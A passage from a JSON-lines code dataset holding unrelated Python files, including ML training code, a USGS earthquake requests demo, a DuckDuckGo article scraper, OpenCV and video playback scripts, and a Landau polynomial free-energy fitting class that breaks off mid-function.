prog_bar=True, on_step=True, on_epoch=True)\n self.log(\"train/score\", self.train_metrics.score, prog_bar=True, on_step=True, on_epoch=True)\n return loss\n\n def validation_step(self, batch, batch_index):\n if self.has_weight:\n x, y, weight = batch\n else:\n x, y = batch\n weight = None\n logits = self(batch)\n loss = self.compute_loss(logits, y, weight=weight)\n self.val_losses.update(loss.item(), n=y.shape[0])\n self.val_metrics.update(y.detach().cpu().numpy()[:, self.trained_target],\n logits.detach().cpu().numpy()[:, self.trained_target])\n self.log(\"val/loss\", self.val_losses.avg, prog_bar=True, on_step=False, on_epoch=True)\n self.log(\"val/score\", self.val_metrics.score, prog_bar=True, on_step=False, on_epoch=True)\n for i, idx in enumerate(self.trained_target):\n labels = np.array(self.val_metrics.targets)\n predictions = np.array(self.val_metrics.predictions)\n score = mean_squared_error(labels[:, i], predictions[:, i], squared=False)\n self.log(f\"val/{label_columns[idx]}\", score, prog_bar=True, on_step=False, on_epoch=True)\n return loss\n\n\nif __name__ == '__main__':\n layer = NeuralTensorLayer(768, 5)\n x = torch.randn((2, 768))\n print(layer(x, x).shape)\n","repo_name":"rbiswasfc/kaggle-feedback3-efficiency-1st-place","sub_path":"yao_code/feedback_ell/modules/regression/cohesion.py","file_name":"cohesion.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"32506952026","text":"from typing import Dict\nimport torch\nfrom torch import nn, Tensor\nfrom ... import properties as p\n\n\ndef cat_gaussian(inp: Dict[str, Tensor], new: Dict[str, Tensor]):\n out = inp.copy()\n if p.mtd_cen in inp:\n out[p.mtd_cen] = torch.cat([inp[p.mtd_cen], new[p.mtd_cen]], dim=1)\n out[p.mtd_prc] = torch.cat([inp[p.mtd_prc], new[p.mtd_prc]], dim=1)\n out[p.mtd_hgt] = torch.cat([inp[p.mtd_hgt], new[p.mtd_hgt]], dim=1)\n else:\n assert p.mtd_hgt not in inp\n assert p.mtd_prc not in inp\n out[p.mtd_cen] = new[p.mtd_cen]\n out[p.mtd_prc] = new[p.mtd_prc]\n out[p.mtd_hgt] = new[p.mtd_hgt]\n return out\n\n\nclass BatchMTD(nn.Module):\n def __init__(self, new):\n super().__init__()\n self.new = new\n\n def forward(self, mol: Dict[str, Tensor]):\n tmp: Dict[str, Tensor] = self.new(mol)\n cen = tmp[p.mtd_cen] # bch, col\n prc = tmp[p.mtd_prc] # bch, col\n hgt = tmp[p.mtd_hgt] # bch,\n new = {\n p.mtd_cen: cen[:, None, :],\n p.mtd_prc: prc[:, None, :],\n p.mtd_hgt: hgt[:, None],\n p.idt: mol[p.idt],\n }\n out = cat_gaussian(mol, new)\n return out, new\n\n\nclass EnsembleMTD(nn.Module):\n def __init__(self, new):\n super().__init__()\n self.new = new\n\n def forward(self, mol: Dict[str, Tensor]):\n tmp: Dict[str, Tensor] = self.new(mol)\n cen = tmp[p.mtd_cen] # bch, col\n prc = tmp[p.mtd_prc] # bch, col\n hgt = tmp[p.mtd_hgt] # bch,\n new = {\n p.mtd_cen: cen[None, :, :],\n p.mtd_prc: prc[None, :, :],\n p.mtd_hgt: hgt[None, :]\n }\n out = cat_gaussian(mol, new)\n return out, new\n","repo_name":"AkihideHayashi/torchfes1","sub_path":"torchfes/fes/mtd/cat.py","file_name":"cat.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41295381164","text":"import requests\nfrom typing import List\n\nclass Geometry:\n def __init__(self, lat, long) -> None:\n self.lat = lat\n self.long = long\n \n def __str__(self) -> str:\n return f'{self.lat}, {self.long}'\n \nclass Properties:\n def __init__(self, mag, place, time, title, geo=None) -> None:\n self.mag = mag\n self.place = place\n self.time = time\n self.title = title\n self.geo = geo\n def __str__(self):\n return f' {self.mag}, {self.place}, {self.time}, {self.title}, {str(self.geo)}'\n\ndef get_url():\n url = \"https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_week.geojson\"\n # params = {'page': '2'}\n # resp = requests.get('https://reqres.in/api/users', params=params)\n\n try:\n response = requests.get(url)\n except requests.exceptions.RequestException as e: # ConnectionError, HTTPError,TooManyRedirects, etc\n raise SystemExit(e)\n data = response.json()\n features = data[\"features\"]\n result = []\n for feature in features:\n place = feature[\"properties\"][\"place\"]\n if any (x in place for x in (\"CA\", \"California\")):\n result.append(place)\n print(len(result))\n\n #extract data from json and model as object\n result2 = json_extract(features, \"properties\")\n for r in result2[:2]:\n obj = Properties(r.get(\"mag\"), r.get(\"place\"), r.get(\"time\"), r.get(\"title\"))\n # print(str(obj))\n \n for feature in features:\n r = json_extract(feature, \"properties\")[0]\n geo = json_extract(feature, \"geometry\")[0]\n g = Geometry(geo.get(\"coordinates\")[0], geo.get(\"coordinates\")[1])\n obj = Properties(r.get(\"mag\"), r.get(\"place\"), r.get(\"time\"), r.get(\"title\"), g)\n print(str(obj))\n\ndef post_url():\n url = 'https://www.w3schools.com/python/demopage.php'\n myobj = {'somekey': 'somevalue'}\n x = requests.post(url, json = myobj)\n # resp = requests.post(\n 'https://httpbin.org/post', \n # data=json.dumps({'website': 'datagy.io'}), instead of json = dict can use data\n # headers={\"Content-Type\": \"application/json\"})\n print(\"Post method\")\n print(x.status_code)\n\ndef json_extract(obj, key):\n \"\"\"Recursively fetch values from nested JSON.\"\"\"\n arr = []\n\n def extract(obj, arr, key):\n # print(key)\n \"\"\"Recursively search for values of key in JSON tree.\"\"\"\n if isinstance(obj, dict):\n for k, v in obj.items():\n if k == key:\n arr.append(v)\n elif isinstance(v, (dict, list)):\n extract(v, arr, key)\n # elif k == key:\n # arr.append(v)\n elif isinstance(obj, list):\n for item in obj:\n extract(item, arr, key)\n return arr\n\n values = extract(obj, arr, key)\n return values\n\nget_url()\npost_url()\n\n\n","repo_name":"Ishitagangal/LeetCode-Practice","sub_path":"Apple/15. Get and post requests.py","file_name":"15. Get and post requests.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21965353128","text":"import requests\nimport json\nfrom lxml import html\nimport time\n\nfrom newspaper import Article\n\nfrom settings import *\n\n\n\nTOPIC = {\n \"narrative\" : \"The user is an avid cycler and wants to follow any injuries to riders in this year's Tour de France race.\",\n \"title\" : \"Tour de France\",\n \"topid\" : \"RTS138\",\n \"description\" : \"What injuries happened in this year's Tour de France?\"\n }\n\n\ndef search(keywords, max_results=None):\n url = 'https://duckduckgo.com/html/'\n params = {\n 'q': keywords,\n 's': '0',\n }\n\n yielded = 0\n while True:\n res = requests.post(url, data=params)\n doc = html.fromstring(res.text)\n\n results = [a.get('href') for a in doc.cssselect('#links .links_main a')]\n for result in results:\n yield result\n time.sleep(0.1)\n yielded += 1\n if max_results and yielded >= max_results:\n return\n\n try:\n form = doc.cssselect('.results_links_more form')[-1]\n except IndexError:\n return\n params = dict(form.fields)\n\n\ndef get_relevant_article(topic):\n urls = search(topic, max_results=5)\n for url in urls:\n # print(url)\n a = Article(url, language='en')\n try:\n a.download()\n a.parse()\n title = a.title\n text = a.text\n return ' '.join([title, text])\n except:\n pass\n\n\ndef test_get_relevant_article():\n get_relevant_article(TOPIC['description'])\n\n\ndef test_search(keywords=TOPIC['description'], max_results=1):\n results = search(keywords, max_results)\n for result in results:\n print(result)\n\n\ndef test_get_articles_for_topics(file=TOPICS, limit=5):\n with open(file, \"r\") as f:\n topics_json = json.load(f)\n for topic in topics_json[:limit]:\n topic_description = topic['description']\n print(topic_description)\n print(get_relevant_article(topic_description))\n print('\\n')\n\n\nif __name__ == '__main__':\n test_get_articles_for_topics()\n","repo_name":"svakulenk0/TRECMicroblog17","sub_path":"scrape_duckduckgo.py","file_name":"scrape_duckduckgo.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14943694628","text":"import numpy as np\nimport cv2\n\nimg = np.zeros([512,512,3], np.uint8)\nstop = 0\nwhile stop == 0 :\n for r in range(4):\n for g in range(4):\n for b in range(4):\n img = cv2.circle(img, (256,256), 256, (r*64,g*64,b*64), -1) #-1 to fill the shape\n cv2.imshow('lena',img)\n k = cv2.waitKey(1)\n if k%256 == 27:\n # ESC pressed\n print(\"Escape hit, closing...\")\n stop = 1\n\ncv2.destroyAllWindows()","repo_name":"thisisshub/HacktoberFest","sub_path":"folders/opencv-python/color-circle.py","file_name":"color-circle.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"82"} +{"seq_id":"5728486312","text":"#!/usr/bin/python3\n\"\"\"\n lists all State objects from the database hbtn_0e_6_usa\n\"\"\"\n\nimport sys\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom model_state import State\n\nif __name__ == \"__main__\":\n engine = create_engine(\n \"mysql+mysqldb://{}:{}@localhost/{}\"\n .format(sys.argv[1], sys.argv[2], sys.argv[3]),\n pool_pre_ping=True\n )\n session_maker = sessionmaker(bind=engine)\n session = session_maker()\n\n for state in session.query(State).order_by(State.id):\n print(\"{}: {}\".format(state.id, state.name))\n","repo_name":"Pericles001/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/7-model_state_fetch_all.py","file_name":"7-model_state_fetch_all.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"70678728908","text":"# Main file of the Python 3 program.\nimport numpy as np\n\n\ndef update(mean1, var1, mean2, var2):\n var = (var1 + var2)\n mean = mean1 + mean2\n return mean, var\n\n\nprint(update(3, 4.5, 9, 1.3))\n# answer is [12.0, 5.8]\n\nprint(update(3, 4.5, 9, 0))\n# answer is [12.0, 4.5]\n\n","repo_name":"ifryed/navigation_algo","sub_path":"Classes/Kalman_part1/Uncertaine_movment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"2770056679","text":"import numpy as np\nimport pylab as pl\nimport cv2\nimport sys\nimport os\npjoin = os.path.join\nTRIG_DELAY = 1.4\n\nclass FileHandler(object):\n CAM = 0\n TIME = 1\n def __init__(self, data_dir, name):\n self.data_dir = data_dir\n self.name = name\n self.n_trials = self.get_n_trials()\n self.n_cams = self.get_n_cams()\n def get_n_trials(self):\n base = pjoin(self.data_dir,self.name,self.name)\n i = 1\n while True:\n name = pjoin(base+'_%02d_cam1.avi'%i)\n if os.path.exists(name):\n pass\n else:\n break\n i+=1\n return i-1\n def get_n_cams(self):\n if self.n_trials == 0:\n return 0\n base = pjoin(self.data_dir,self.name,self.name)\n i = 1\n while True:\n name = pjoin(base+'_01_cam%i.avi'%i)\n if os.path.exists(name):\n pass\n else:\n break\n i+=1\n return i-1\n def get_path(self, trialn, mode=0, camn=1):\n base = pjoin(self.data_dir,self.name,self.name)\n if mode == self.CAM:\n suffix='cam%i.avi'%camn\n elif mode == self.TIME:\n suffix='timestamps.npz'\n name = pjoin(base+'_%02d_%s'%(trialn,suffix))\n return name\n\ndef plot(name, n):\n pl.ioff()\n fh = FileHandler(pjoin('.','data'), name)\n if fh.n_trials < 1:\n return\n n = min(n,fh.n_trials)\n #allmeans = []\n #allts = []\n for i in xrange(n):\n vc = cv2.VideoCapture(fh.get_path(fh.n_trials-i,fh.CAM,1))\n t = np.load(fh.get_path(fh.n_trials-i,fh.TIME))\n ts = t['time1']\n ts = [i[1] if type(i) in [list,np.ndarray] else i for i in ts]\n trigt = t['trigger'][0] - ts[0] + TRIG_DELAY\n ts = ts-ts[0]\n meanf = []\n for i in xrange(len(ts)):\n valid,fr = vc.read()\n meanf.append(np.mean(fr))\n #allmeans.append(meanf)\n #allts.append(ts)\n pl.plot(ts,meanf)\n pl.plot((trigt,trigt),(0,max(meanf)),'k--')\n pl.gca().set_xlim(left=-0.1)\n pl.show()\n \n \n \ndef play(name):\n fh = FileHandler(pjoin('.','data'), name)\n vcs = []\n if fh.n_trials < 1:\n return\n for cam in xrange(1,fh.n_cams+1):\n vc = cv2.VideoCapture(fh.get_path(fh.n_trials,fh.CAM,cam))\n vcs.append(vc)\n t = np.load(fh.get_path(fh.n_trials,fh.TIME))\n ts = [t['time%i'%i] for i in xrange(1,fh.n_cams+1)]\n t0s = [i[0][1] if type(i[0]) in [list,np.ndarray] else i[0] for i in ts]\n\n width = 430\n for i in xrange(1,fh.n_cams+1):\n cv2.namedWindow(str(i))\n cv2.moveWindow(str(i), 5+width*(i-1)+(i-1)*20,5)\n Ts = 20\n while True:\n anytrue = False\n mint = np.min([st[1] if len(st)==3 else st[0] for st in [t[0] for t in ts]])\n for vci,vc,t in zip(xrange(len(vcs)),vcs,ts):\n qtime = t[0]\n if len(qtime) == 3: \n qtime=qtime[1]\n elif len(qtime) == 2:\n qtime=qtime[0]\n if qtime>mint:\n continue\n valid,frame = vc.read()\n if valid:\n tstamp = t[0]\n if len(t)>1:\n ts[vci]=ts[vci][1:]\n if type(tstamp) in [list,np.ndarray]:\n tstamp = tstamp[1]\n rsf = frame.shape[1]/float(width)\n newshape = np.round(np.array(frame.shape[:-1])[::-1]/rsf).astype(int)\n frame = cv2.resize(frame, tuple(newshape))\n cv2.putText(frame,'%0.4f'%(tstamp-t0s[vci]),(5,30),0,1,(160,100,80))\n cv2.imshow(str(vci+1), frame)\n anytrue = True\n k=cv2.waitKey(Ts)\n if k == ord('f'):\n Ts = max(1,Ts-10)\n elif k==ord('s'):\n Ts = Ts+10\n elif k==ord('q'):\n break\n if not anytrue:\n break\n cv2.destroyAllWindows()\n \n\nif __name__ == '__main__':\n if len(sys.argv)>2:\n name = sys.argv[1]\n mode = sys.argv[2]\n if mode=='play':\n play(name)\n elif mode=='plot':\n if len(sys.argv)>3:\n n=int(sys.argv[3])\n else:\n n = 1\n plot(name,n)\n","repo_name":"bensondaled/trigger-interface","sub_path":"mapping_playback.py","file_name":"mapping_playback.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"11628065273","text":"import numpy as np\nfrom scipy.optimize import minimize, LinearConstraint, fsolve\nfrom scipy.optimize import NonlinearConstraint\nimport scipy\nimport time\n\nSCIPY_VERSION = scipy.__version__\n\n\ndef array_func(func):\n \"\"\"\n Decorator to handle various array arguments\n \"\"\"\n def unwrap(*args, **kwargs):\n self = args[0]\n conc = args[1]\n shape = kwargs.pop(\"shape\", None)\n\n if isinstance(conc, list):\n conc = np.array(conc)\n if isinstance(shape, list):\n shape = np.array(shape)\n\n if np.isscalar(conc) and shape is None:\n return func(self, conc, **kwargs)\n\n elif isinstance(conc, np.ndarray) and shape is None:\n if len(conc.shape) != 1:\n raise ValueError(\"Concentration has to be a 1D array!\")\n return [func(self, conc[i], **kwargs)\n for i in range(conc.shape[0])]\n\n elif np.isscalar(conc) and np.isscalar(shape):\n return func(self, conc, shape=[shape, 0.0, 0.0], **kwargs)\n\n elif np.isscalar(conc) and isinstance(shape, np.ndarray):\n if len(shape.shape) == 1 and shape.shape[0] == 3:\n return func(self, conc, shape=shape, **kwargs)\n elif len(shape.shape) == 2 and shape.shape[1] == 3:\n return [func(self, conc, shape[i, :], **kwargs)\n for i in range(shape.shape[0])]\n else:\n raise ValueError(\"When shape is a Numpy array it has to be \"\n \"either of length 3 or of length Nx3! \"\n \"Got: {}\".format(shape.shape))\n\n elif isinstance(conc, np.ndarray) and isinstance(shape, np.ndarray):\n if conc.shape[0] != shape.shape[0]:\n raise ValueError(\"The number entries in the shape array has to\"\n \" match the number of entries in the conc \"\n \"array!\")\n if len(shape.shape) == 1:\n return [func(self, conc[i], shape=[shape[i], 0.0, 0.0],\n **kwargs) for i in range(conc.shape[0])]\n elif shape.shape[1] == 3:\n return [func(self, conc[i], shape=shape[i, :], **kwargs)\n for i in range(conc.shape[0])]\n else:\n raise ValueError(\"Dimension of shape argument has to be either\"\n \"Nx3 or 3\")\n else:\n raise ValueError(\"Concentation and shape arguments has to be \"\n \"floats or arrays!\")\n return unwrap\n\n\nclass TwoPhaseLandauPolynomialBase(object):\n \"\"\"Class for fitting a Landau polynomial to free energy data\n\n In general terms a two phase landau polynomial is:\n \n 1. A multidimensional object where there can be be up to\n three auxillary fields, but only one free variable\n At equillibrium, the auxillary fields are slaved by\n the concentration variable\n 2. The \"transition\" where auxillary fields changed from one \n value to another, is determined by a linear term of the\n form A*(x - x_c), where x_c is the transition point of\n the free variable.\n\n From the developers side, the idea behind having a base class is that\n it allows for different representations of the functional form of the \n free variable, different fitting algorithms etc.\n\n :param float c1: Center concentration for the first phase\n :param float c2: Center concentration for the second phase\n :param np.ndarray init_guess: Initial guess for the parameters\n The polynomial fitting is of the form\n A*(x - c1)^2 + B*(x-c2)*y^2 + C*y^4 + D*y^6\n This array should therefore contain initial guess\n for the four parameter A, B, C and D.\n :param int conc_order1: Order of the polynomial in the first phase\n :param int conc_order2: Order of the polynomial in the second phase\n \"\"\"\n def __init__(self, c1=0.0, c2=1.0, num_dir=3, init_guess=None,\n conc_order1=2, conc_order2=2):\n self.conc_coeff2 = np.zeros(conc_order2+1)\n self.coeff_shape = np.zeros(5)\n self.conc_order1 = conc_order1\n self.conc_order2 = conc_order2\n self.c1 = c1\n self.c2 = c2\n self.init_guess = init_guess\n self.num_dir = num_dir\n self.boundary_coeff = None\n\n @array_func\n def equil_shape_order(self, conc):\n \"\"\"Calculate the equillibrium shape concentration.\n\n The equillibrium shape order parameter is determined by finding the\n minima of the free energy curve at a given concentration. In case of\n multiple order parameters the value returned corresponds to a minima\n where all other shape order parameters are zero.\n\n :param float conc: Concentration\n \"\"\"\n C = self.coeff_shape[0]\n D = self.coeff_shape[2]\n\n if abs(D) < 1E-8:\n n_eq = -0.5*self._eval_phase2(conc)/C\n if n_eq < 0.0:\n return 0.0\n return n_eq\n\n delta = (C/(3.0*D))**2 - \\\n self._eval_phase2(conc)/(3.0*D)\n if delta < 0.0:\n return 0.0\n n_eq = -C/(3.0*D) + np.sqrt(delta)\n if n_eq < 0.0:\n return 0.0\n return np.sqrt(n_eq)\n\n @array_func\n def equil_shape_order_derivative(self, conc):\n \"\"\"Calculate the partial derivative of the equillibrium\n shape parameter with respect to the concentration.\n\n NOTE: This return the derivative of the square of of the\n order parameter with respect to the concentration.\n \"\"\"\n\n C = self.coeff_shape[0]\n D = self.coeff_shape[2]\n\n delta = (C/(3.0*D))**2 - \\\n self._eval_phase2(conc)/(3.0*D)\n\n if delta < 0.0:\n return 0.0\n n_eq = self.equil_shape_order(conc)\n if n_eq <= 0.0:\n return 0.0\n return -0.5*self._deriv_phase2(conc) / \\\n (3*np.sqrt(delta)*D*2*n_eq)\n\n def _eval_phase2(self, conc):\n \"\"\"Evaluate the polynomial in phase2.\n\n :param float conc:\n \"\"\"\n return np.polyval(self.conc_coeff2, conc)\n\n def _eval_phase1(self, conc):\n \"\"\"Evaluate regressor in phase 1.\"\"\"\n raise NotImplementedError(\"Has to be implemented in child classes\")\n\n def _deriv_phase2(self, conc):\n \"\"\"Evaluate the derivative in the second phase.\"\"\"\n p2der = np.polyder(self.conc_coeff2)\n return np.polyval(p2der, conc)\n\n def _deriv_phase1(self, conc):\n raise NotImplementedError(\"Has to be implemented in child classes\")\n\n @array_func\n def eval_at_equil(self, conc):\n \"\"\"Evaluate the free energy at equillibrium order.\n\n :param float conc: Concentration\n \"\"\"\n n_eq = self.equil_shape_order(conc)\n return self._eval_phase1(conc) + \\\n self._eval_phase2(conc)*n_eq**2 + \\\n self.coeff_shape[0]*n_eq**4 + \\\n self.coeff_shape[2]*n_eq**6\n\n @array_func\n def evaluate(self, conc, shape=None):\n \"\"\"\n Evaluate the free energy polynomial\n\n :param float conc: Concentration\n :param shape list: List with the shape order parameters.\n If None, the shape order parameters are set to their\n equillibrium\n \"\"\"\n\n if shape is None:\n return self.eval_at_equil(conc)\n\n full_shape = np.zeros(3)\n full_shape[:len(shape)] = shape\n shape = full_shape\n return self._eval_phase1(conc) + \\\n self._eval_phase2(conc)*np.sum(shape**2) + \\\n self.coeff_shape[0]*np.sum(shape**4) + \\\n self.coeff_shape[1]*(shape[0]**2 * shape[1]**2 +\n shape[0]**2 * shape[2]**2 +\n shape[1]**2 * shape[2]**2) + \\\n self.coeff_shape[2]*np.sum(shape**6) + \\\n self.coeff_shape[3]*(shape[0]**4 * (shape[1]**2 + shape[2]**2) +\n shape[1]**4 * (shape[0]**2 + shape[2]**2) +\n shape[2]**4 * (shape[0]**2 + shape[1]**2)) + \\\n self.coeff_shape[4]*np.prod(shape**2)\n\n @array_func\n def partial_derivative(self, conc, shape=None, var=\"conc\", direction=0):\n \"\"\"Return the partial derivative with respect to variable.\"\"\"\n allowed_var = [\"conc\", \"shape\"]\n if var not in allowed_var:\n raise ValueError(\"Variable has to be one of {}\".format(allowed_var))\n\n if shape is None:\n shape = np.array([np.sqrt(self.equil_shape_order(conc))])\n\n if isinstance(shape, list):\n shape = np.array(shape)\n\n try:\n _ = shape[0]\n except (TypeError, IndexError):\n # Shape was a scalar, convert to array\n shape = np.array([shape])\n\n full_shape = np.zeros(3)\n full_shape[:len(shape)] = shape\n shape = full_shape\n\n if var == \"conc\":\n p2_der = np.polyder(self.conc_coeff2)\n return self._deriv_phase1(conc) + self._deriv_phase2(conc)*np.sum(shape**2)\n\n elif var == \"shape\":\n d = direction\n return 2*self._eval_phase2(conc)*shape[d] + \\\n 4*self.coeff_shape[0]*shape[d]**3 + \\\n 2*self.coeff_shape[1]*shape[d]*(shape[(d+1) % 3] + shape[(d+2) % 3]) + \\\n 6*self.coeff_shape[2]*shape[d]**5 + \\\n 4*self.coeff_shape[3]*shape[d]**3*(shape[(d+1) % 3]**2 + shape[(d+2) % 3]**2) + \\\n 2*self.coeff_shape[3]*shape[d]*(shape[(d+1) % 3]**4 + shape[(d+2) % 3]**4) + \\\n 2*self.coeff_shape[4]*shape[d]*shape[(d+1) % 3]**2 * shape[(d+2) % 3]**2\n else:\n raise ValueError(\"Unknown derivative type!\")\n\n def _get_slope_parameter(self, C, D, transition_conc):\n return C**2/(3*D*(transition_conc - self.c2))\n\n def fit(self, *args, **kwargs):\n raise NotImplementedError(\"Has to be implemented in child classes\")\n\n def to_dict(self):\n \"\"\"Store the required arguments that can be used to\n construct poly terms for phase field calculations.\"\"\"\n from itertools import permutations\n data = {}\n data[\"terms\"] = []\n\n num_terms = len(self.conc_coeff2)\n for power, c in enumerate(self.conc_coeff2.tolist()):\n for active_shape in range(1, 4):\n entry = {\n \"coeff\": c,\n \"powers\": [num_terms-power-1, 0, 0, 0]\n }\n entry[\"powers\"][active_shape] = 2\n data[\"terms\"].append(entry)\n\n power_templates = [\n [4, 0, 0],\n [2, 2, 0],\n [6, 0, 0],\n [4, 2, 0],\n [2, 2, 2]\n ]\n\n for i, p_template in enumerate(power_templates):\n used_perms = set()\n for perm in permutations(p_template):\n if perm in used_perms:\n continue\n entry = {\n \"coeff\": self.coeff_shape[i],\n \"powers\": [0] + list(perm)\n }\n used_perms.add(perm)\n data[\"terms\"].append(entry)\n\n return data\n\n def save_poly_terms(self, fname=\"pypolyterm.json\"):\n import json\n with open(fname, 'w') as outfile:\n json.dump(self.to_dict(), outfile, indent=2)\n print(\"Coefficient stored in {}\".format(fname))\n\n def _equil_shape_fixed_conc_and_shape_intermediates(self, conc, shape,\n min_type):\n \"\"\"Return helper quantities for the equillibrium shape.\"\"\"\n K = self._eval_phase2(conc)\n K += self.coeff_shape[1]*shape**2\n K += self.coeff_shape[3]*shape**4\n\n Q = self.coeff_shape[0] + self.coeff_shape[3]*shape**2\n\n if min_type == \"mixed\":\n Q += 0.5*self.coeff_shape[1]\n Q += 0.5*self.coeff_shape[4]*shape**2\n\n D = 3.0*self.coeff_shape[2]\n return K, Q, D\n\n @array_func\n def equil_shape_fixed_conc_and_shape(self, conc, shape=None,\n min_type=\"pure\"):\n \"\"\"Return the equillibrium shape parameter.\n\n :param float conc: Concentration\n :param float shape: Shape parameter\n :param str min_type: Type of minimum. If pure, the third\n shape parameter is set to zero. If mixed, the two\n free shape parameters are required to be the same.\n \"\"\"\n allowed_types = [\"pure\", \"mixed\"]\n\n if min_type not in allowed_types:\n raise ValueError(\"min_type has to be one of {}\"\n \"\".format(allowed_types))\n\n if shape is None:\n raise ValueError(\"Shape has to be passed!\")\n\n shape = shape[0]\n K, Q, D = self._equil_shape_fixed_conc_and_shape_intermediates(\n conc, shape, min_type)\n\n delta = (Q/D)**2 - K/D\n\n if delta < 0.0:\n return 0.0\n n_sq = -Q/D + np.sqrt(delta)\n\n if n_sq < 0.0:\n return 0.0\n return np.sqrt(n_sq)\n\n @array_func\n def equil_shape_fixed_conc_and_shape_deriv(self, conc, shape=None,\n min_type=\"pure\"):\n \"\"\"Differentiate with respect to the fixed shap parameter.\"\"\"\n if shape is None:\n raise ValueError(\"Shape has to be passed!\")\n shape = shape[0]\n K, Q, D = self._equil_shape_fixed_conc_and_shape_intermediates(\n conc, shape, min_type)\n\n dQ_dn = 2*self.coeff_shape[3]*shape\n\n if min_type == \"mixed\":\n dQ_dn += 2*self.coeff_shape[4]*shape*0.5\n\n dK_dn = 2*self.coeff_shape[1]*shape + \\\n 4*self.coeff_shape[3]*shape**3\n\n n_eq = self.equil_shape_fixed_conc_and_shape(\n conc, shape=shape, min_type=min_type)\n\n if n_eq <= 0.0:\n return 0.0\n\n delta = (Q/D)**2 - K/D\n deriv = - dQ_dn/D + 0.5*(2*Q*dQ_dn/D**2 - dK_dn/D)/np.sqrt(delta)\n return 0.5*deriv/n_eq\n\n def plot_individual_polys(self):\n from matplotlib import pyplot as plt\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n conc = np.linspace(0.0, 1.0, 100)\n ph1 = self._eval_phase1(conc)\n ax.plot(conc, ph1, label=\"Phase1\")\n ax.plot(conc, np.polyval(self.conc_coeff2, conc), label=\"Phase2\")\n ax.legend()\n return fig\n\n def fit_fixed_conc_varying_eta(self, conc, eta, free_energy, weights={},\n constraints=[]):\n \"\"\"Perform fit at fixed composition, but varying eta.\n\n :param float conc: Fixed concentration\n :param array eta: Array with eta values\n :param array free_energy: Free energy densities\n :param dict weights: Cost function to tune the fitting\n Possible constraints:\n w_peak: Penalize deviation between the peak of the predicted\n energy and the free_energy array\n center_peak: Penalize solutions where the peak is \n positioned far from the center.\n \"\"\"\n\n w_peak = weights.get(\"peak\", 0.0)\n w_peak_at_center = weights.get(\"center_peak\", 0.0)\n w_mixed_peaks = weights.get(\"mixed_peaks\", 0.0)\n\n def mse_function(x):\n self.coeff_shape[1] = x[0]\n self.coeff_shape[3:] = x[1:]\n pred = np.array(self.evaluate(conc, shape=eta))\n\n pred = np.array(pred)\n mse = np.mean((pred - free_energy)**2)\n peak_dev = np.max(pred) - np.max(free_energy)\n\n cost = mse\n\n # for cnst in constraints:\n # cost += cnst(self)\n return cost\n\n # Last term has to be positive\n num_coeff = len(self.coeff_shape) - 2\n x0 = np.zeros(num_coeff)\n A = np.zeros((4, num_coeff))\n ub = np.zeros(4)\n lb = np.zeros(4)\n ub[0] = np.inf\n A[0, -1] = 1.0\n\n # Monotonical increasing cross terms\n A[1, 0] = 1.0\n A[1, 1] = 3.0\n lb[1] = 0.0\n ub[1] = np.inf\n\n # Ensure function is monotonically increasing along the line\n # eta1 = eta2\n A[2, 0] = 1.0\n lb[2] = np.abs(self.coeff_shape[0])\n ub[2] = np.inf\n\n # Ensure function is monotonically increasing along the line\n # eta1 = eta2\n A[3, 1] = 1.0\n lb[3] = -np.abs(self.coeff_shape[0])\n ub[3] = np.inf\n\n cnst = LinearConstraint(A, lb, ub)\n cb = MinimizationProgressCallback(10, constraints=constraints)\n res = minimize(mse_function, x0, method=\"SLSQP\", constraints=cnst,\n callback=cb)\n\n # Update the shape coefficients\n self.coeff_shape[1] = res[\"x\"][0]\n self.coeff_shape[3:] = res[\"x\"][1:]\n\n def _square_conc_scan(self, conc, nmin, nmax, num):\n \"\"\"Perform a scan for many shape parameters.\"\"\"\n from itertools import product\n F = np.zeros((num, num))\n n = np.linspace(nmin, nmax, num)\n for indx in product(range(num), repeat=2):\n F[indx] = self.evaluate(conc, shape=[n[indx[0]], n[indx[1]], 0.0])\n return F\n\n def _interior_weight(self, conc, nmax, num):\n scanned = self._square_conc_scan(conc, 0.0, nmax, num)\n\n # Locate minima along axis\n F = np.zeros(num)\n n = np.linspace(0.0, nmax, num)\n for i in range(num):\n F[i] = self.evaluate(conc, shape=[n[i], 0.0, 0.0])\n\n # We don't count the ones that are higher than the minimum\n # on the axis\n minval = np.min(F)\n scanned[scanned > minval] = minval\n return np.mean((scanned-minval)**2)\n\n def gradient_coefficient(self, alpha, gamma, conc, surf_form, gamma0=None):\n from scipy.optimize import newton\n deriv = np.array(self.equil_shape_order_derivative(conc))\n n_eq = np.array(self.equil_shape_order(conc))\n energy_at_zero = self.evaluate(conc, shape=np.zeros_like(conc))\n energy_at_n_eq = np.array([self.evaluate(c, shape=[n, 0, 0]) for c, n in zip(list(conc), list(n_eq))])\n n_eq_active = np.zeros(len(conc), dtype=np.uint8)\n n_eq_active[energy_at_n_eq100*np.median(deriv)] = 0.0\n\n def eq(x):\n beta = x[0]**2 # Avoid negative values inside square root\n integrand = np.sqrt(surf_form)*np.sqrt(alpha + beta*deriv**2)\n integrand[n_eq_active==0] = 0.0\n interface_energy = 2*np.trapz(integrand, x=conc)\n return interface_energy - gamma\n\n def jac(x):\n beta = x[0]**2 # Avoid negative values inside square root\n integrand = 